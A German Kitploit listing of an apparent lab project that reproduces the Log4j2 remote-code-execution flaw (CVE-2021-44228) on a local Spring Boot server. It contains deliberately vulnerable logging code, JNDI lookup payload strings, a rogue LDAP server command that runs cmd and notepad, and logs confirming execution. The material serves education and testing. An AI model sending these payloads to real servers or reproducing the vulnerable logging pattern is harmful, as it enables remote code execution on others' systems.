Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4j2-test — Log4j2 LDAP-Schwachstellentest (CVE-2021-44228) | Kitploit
Tools/GitHubGitHub/mklinkj/log4j2-test
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubmklinkj/log4j2-test

log4j2-test

Log4j2 LDAP-Schwachstellentest (CVE-2021-44228)

Repository anzeigen
1vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Log4j2 2.14.1 LDAP-Remote-Code-Execution-Schwachstelle (CVE-2021-44228) – Überprüfung

🎈 In einer Spring Boot 2.x Umgebung getestet

  • Schwachstellenhinweis
    • https://nvd.nist.gov/vuln/detail/CVE-2021-44228

target-server

  • pom.xml: Log4j2-Version auf die verwundbare Version herabgesetzt

    root@kitploit:~
    <properties>
      <java.version>17</java.version>
      <!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
      <log4j2.version>2.14.1</log4j2.version>
    </properties>
    
  • LoggingController: Controller-Methode hinzugefügt, die die Benutzereingabe unverändert protokolliert

    root@kitploit:~
      @PostMapping("/form")
      public String form(String ldapString, RedirectAttributes rttr) {
        try {
          LOGGER.info("{}", ldapString);
          rttr.addFlashAttribute("exception", "예외 발생 X");
        } catch (Exception e) {
          rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
        }
        return "redirect:/";
      }
    
Tool herunterladen
  • Im Browser ausführen

    target-server-view.png

  • Verifizierte Funktionsweise

    1. Wenn die Zeichenfolge ${jndi:ldap://127.0.0.1:19090/run} tatsächlich an den Server gesendet wird, versucht der Server, eine Verbindung zu 127.0.0.1:19090 herzustellen.

      root@kitploit:~
      2022-01-03 13:16:52.526  INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController                : ${jndi:ldap://127.0.0.1:19090/run}
      2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
      ...
      

      Da auf dem lokalen Port 19090 kein LDAP-Server läuft, wird eine Fehlerprotokollierung mit der Ausnahme Connection refused: connect erzeugt.

    2. Im Code LOGGER.info("{}", ldapString); wurde keine JNDI-Fehlerausnahme ausgelöst.

      • Das scheint ein Problem zu sein, das leicht übersehen wird, wenn man die Logs nicht genau prüft.

    ldap-server

    https://github.com/veracode-research/rogue-jndi Aus diesem Code habe ich nur die Tomcat-bezogenen Teile untersucht und daraus ein einfaches Spring-Boot-Projekt erstellt.

    Der Grund, warum ich nur die Tomcat-bezogenen Teile untersucht habe:

    Da der zu testende Zielserver auf dem in Spring Boot integrierten Tomcat basiert, schien es ausreichend, nur Tomcat zu untersuchen, um die Funktionsweise der Schwachstelle zu bestätigen. Deshalb habe ich es so umgesetzt.

    Befehlsvorbereitung

    Nur einen einfachen Taschenrechner auszuführen war zu simpel, daher habe ich cmd-Befehle kombiniert.

    • ldapserver-config.properties

      root@kitploit:~
      # 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
      ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
      ...
      

    In der Praxis war es tatsächlich möglich, eine ausführbare Datei auf dem Testzielserver remote auszuführen. Die Überprüfung erfolgt wie folgt:

    1. ldap-server und target-server starten

      root@kitploit:~
      # LDAP 서버 실행
      C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
      
      # 테스트 타겟 서버 실행
      C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
      
    2. Nach dem Senden der Zeichenfolge ${jndi:ldap://127.0.0.1:19090/o=tomcat} an den Testzielserver prüfen.

      remote-code-executed

      Im Stammverzeichnis des target-server-Projekts wurde eine test.txt-Datei erstellt und mit Notepad geöffnet.

    Bei der Funktionsprüfung in Java 15 oder höher ...

    Für die Erstellung der an den Ziel-Tomcat gesendeten Payload wird Nashorn, die JavaScript-Implementierung von Java, verwendet. Ab Java 15 wurde Nashorn jedoch vollständig entfernt. Dadurch kam es zu dem Problem, dass der LDAP-Server zwar Befehle an den Ziel-Tomcat sendete, diese aber nicht ausgeführt wurden.

    In diesem Fall musste lediglich entweder nashorn-core oder rhino-engine als Bibliothek zum Ziel-Tomcat-Server hinzugefügt werden.

    root@kitploit:~
    <dependency>
      <groupId>org.openjdk.nashorn</groupId>
      <artifactId>nashorn-core</artifactId>
      <version>${nashorn.version}</version>
    </dependency>
    
    root@kitploit:~
    <dependency>
      <groupId>org.mozilla</groupId>
      <artifactId>rhino-engine</artifactId>
      <version>${rhino-engine.version}</version>
    </dependency>
    
    • Referenzen
      • JEP 372: Remove the Nashorn JavaScript Engine
        • https://openjdk.java.net/jeps/372
      • Bekannte Probleme und Problemumgehungen
        • https://apache.github.io/jmeter-site-preview/site/changes.html

    Projektstart bei Maven-POM-Eltern-Kind-Beziehung

    Um die Versionsverwaltung zu vereinfachen, habe ich die pom.xml in eine Eltern-Kind-Beziehung umgestellt. Das Projekt lässt sich dann wie folgt aus dem Verzeichnis mit der übergeordneten pom ausführen:

    root@kitploit:~
    # 전체 테스트
    $ mvnw clean test
    
    # 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐야한다.
    $ mvnw clean spring-boot:run -pl ldap-server
    $ mvnw clean spring-boot:run -pl target-server
    
    # 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
    $ cd target-server
    $ mvnw clean spring-boot:run
    

    Fazit

    • Nach der tatsächlichen Durchführung scheint diese Schwachstelle wirklich gefährlich zu sein, wenn man sie außer Acht lässt. In Entwicklungs- und Staging-Umgebungen sollte getestet werden, ob es Stellen gibt, die eine LDAP-Verbindung auslösen.
    • Dank Michael Stepankin, dem Autor des rogue-jndi-Repositorys, konnte ich das überprüfen. Vielen Dank! 😄

    Haftungsausschluss

    Diese Software dient ausschließlich Bildungszwecken und/oder zum Testen von Systemen, für die der Benutzer zuvor die Erlaubnis zum Angriff erteilt hat.
    (Ich habe diesen Hinweis übernommen, da er auch im rogue-jndi hinzugefügt wurde. 😓)